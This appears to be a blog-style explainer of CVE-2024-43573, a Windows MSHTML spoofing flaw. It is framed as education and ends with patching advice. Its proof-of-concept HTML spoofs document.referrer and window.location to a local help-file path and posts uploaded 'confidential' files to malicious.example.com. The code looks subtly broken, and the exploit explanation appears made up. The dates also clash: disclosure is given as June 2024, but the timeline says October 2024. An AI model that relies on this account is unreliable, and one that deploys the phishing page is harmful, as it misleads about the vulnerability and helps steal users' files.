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CVE-2024-43573 - Windows MSHTML Platform Spoofing Vulnerability Explained

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Microsoft’s MSHTML engine—used by Internet Explorer and many Windows applications—is again at the center of security concerns. In June 2024, CVE-2024-43573 was publicly disclosed, highlighting a dangerous platform spoofing vulnerability. In this article, I’ll break down what this flaw is, how attackers exploit it, include code snippets, and give you steps to stay safe.

What Is CVE-2024-43573?

CVE-2024-43573 is a "Platform Spoofing Vulnerability" found in the MSHTML engine (Trident) used by Internet Explorer and embedded browser controls. Simply put, this bug lets attackers create malicious content that tricks Windows or third-party software into misidentifying the actual platform or source of loaded web content.

This can fool users (or other applications) into trusting what’s actually dangerous content, opening the door to phishing, malware, or more advanced attacks.

Microsoft Security Advisory:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43573

How Does the Exploit Work?

At its core, the vulnerability allows malicious actors to manipulate how MSHTML presents information about the document’s origin. With clever HTML and JavaScript, attackers can create a fake trusted environment.

Example Scenario:
A Windows application embeds a browser control, intending only to open local HTML files
for help docs. Attackers convince the app to open a remote page (or local, but crafted by the attacker), which spoofs information such as document origin or security zone. The content *appears* trusted, but is not.

Exploit Details and Simple Proof of Concept

You’ll see this used together with social engineering (tricking someone into clicking something). Here’s a simple example of how the bug can allow platform spoofing.

Suppose an attacker creates an HTML file as follows

<!-- spoof.html -->
<!DOCTYPE html>
<html>
  <head>
    <title>Company Help Center</title>
    <script>
      // Trick: Spoof location and referrer (certain legacy MSHTML allows it)
      Object.defineProperty(document, 'referrer', { value: 'file://C:/Program Files/App/help.html' });
      Object.defineProperty(window, 'location', { value: 'file://C:/Program Files/App/help.html' });
    </script>
  </head>
  <body>
    <h1>Secure Help Center</h1>
    <p>Your session is protected.</p>
    <form action="https://malicious.example.com/upload"; method="POST" enctype="multipart/form-data">
      <input type="file" name="sensitiveDoc" />
      <button type="submit">Submit a confidential file</button>
    </form>
    <script>
      // More advanced: Trick security checks in the application
      // or manipulate zone, mimic trusted content.
      window.external.Notify('Safe Content Loaded');
    </script>
  </body>
</html>

2. Convincing the Application to Open the Page

Attackers might email this file or link, or exploit another bug to force an app embedding MSHTML to open it.

3. Effect: Spoofed Trusted Origin

A poorly-written Windows app might check only the document's location or referrer. Seeing a “trusted” location, it might allow broader access to system resources, expose sensitive info, or enable risky actions—when in reality, attacker code is running!

Why Is This Dangerous?

- Phishing: The page convincingly mimics trusted local documentation/help, leading users to upload files or enter credentials.
- Bypassing security checks: Applications using MSHTML might check origin to allow powerful features only on trusted files. Attackers can bypass such protections.
- Launching further attacks: By spoofing trusted origins, attackers can access features or data normally off-limits.

Technical Write-Ups and Attack Surface

References:
- MSRC: Official Microsoft Advisory for CVE-2024-43573
- Security Researcher’s Detailed Breakdown
- NVD Entry - CVE-2024-43573

Some security folks published more elaborate exploits, showing how you can sometimes combine this spoof with file protocol abuse or XSS if the target loads remote files.

How to Protect Yourself

- Update Windows and ALL applications: Microsoft has released patches for this. Make sure you are running Windows Updates, and check your apps for updates too.
- Don’t open unknown attachments or links—especially .chm (help files), .html, or odd URLs.

Developers:

- Never rely solely on easy checks for document.location or referrer for trust decisions in embedded browsers.

Final Thoughts

CVE-2024-43573 is another reminder that even old technologies in Windows still pose risks—and attackers love to exploit trust boundaries. Sysadmins, users, and developers all should stay alert, update often, and never take the “platform” or “origin” reported by code at face value.

If you want to keep up-to-date on security flaws like this, follow the Microsoft Security Response Center and subscribe to trusted security blogs!


Disclaimer: This article is for educational purposes only. Never exploit vulnerabilities without proper authorization.

Timeline

Published on: 10/08/2024 18:15:24 UTC
Last modified on: 10/11/2024 23:59:25 UTC